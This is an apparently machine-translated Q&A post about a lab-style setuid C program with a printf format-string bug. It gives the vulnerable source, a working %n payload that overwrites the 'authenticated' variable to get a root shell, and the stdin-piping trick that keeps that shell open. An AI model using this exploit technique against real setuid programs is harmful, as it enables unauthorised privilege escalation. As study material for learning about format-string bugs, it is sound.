通过覆盖 %n 生成 root shell 的 Setuid 二进制文件,不适用于 exploit,但在不需要 exploit 时有效

Setuid binary to spawn root shell by overriding %n, does not work with exploit but works when exploit is unnecessary

我有一个带有 printf 格式字符串漏洞的 Setuid 二进制文件,该漏洞应该被“%n”利用来覆盖 authenticated 全局变量的值。 /bin/bash 的执行在 authenticated = 1 时使用 root Setuid 权限,但在 authenticated = 0 和使用漏洞时则不然。

我试过 ls 并且它有效,所以 exec 正在发生。我还尝试在源代码中制作 authenticated = 1,因此它会自动 运行s bash 而没有漏洞利用。这适用于生成根 shell。当使用漏洞利用时,程序会按预期调用访问权限函数,但在 exec 处结束并且永远不会到达 perror。但是,父进程死亡,这意味着 bash 的 exec 一定已经发生。 Bash 必须正在执行,但它在启动时是 crashing/exiting。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

在 authenticated = 0 的情况下,我使用 gdb 查找 authenticated 的地址类似于 0x0804a050。我 运行 带有 AAAA %x %x %x... 的程序发现 buf 从第 4 个堆栈位置开始。然后我的利用是: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" 它成功地覆盖了全局变量,因为 "Access Granted!" 被打印出来了。永远不会达到 perror,并且 Bash 必须产生,但父进程死亡,因此 Bash 进程也必须死亡。 authenticated = 1 时不会发生这种情况。在那种情况下,Setuid 二进制文件的行为符合预期并弹出根 shell.

我的问题是:为什么 Bash 在启动时死机,但只有在 Detuid 二进制文件被利用时才死机? Bash 肯定快要死了,因为 ps -aux 没有列出新的 Bash 进程,并且 运行ning exit 退出调用 bash 实例。

当您运行其中之一:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload

唯一的输入是您的漏洞。您没有输入任何命令,因此 bash 无事可做并退出。这与 运行 true | bashbash < /dev/null.

时发生的情况相同

如果您希望之后能够手动输入一些命令,最简单的方法是:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln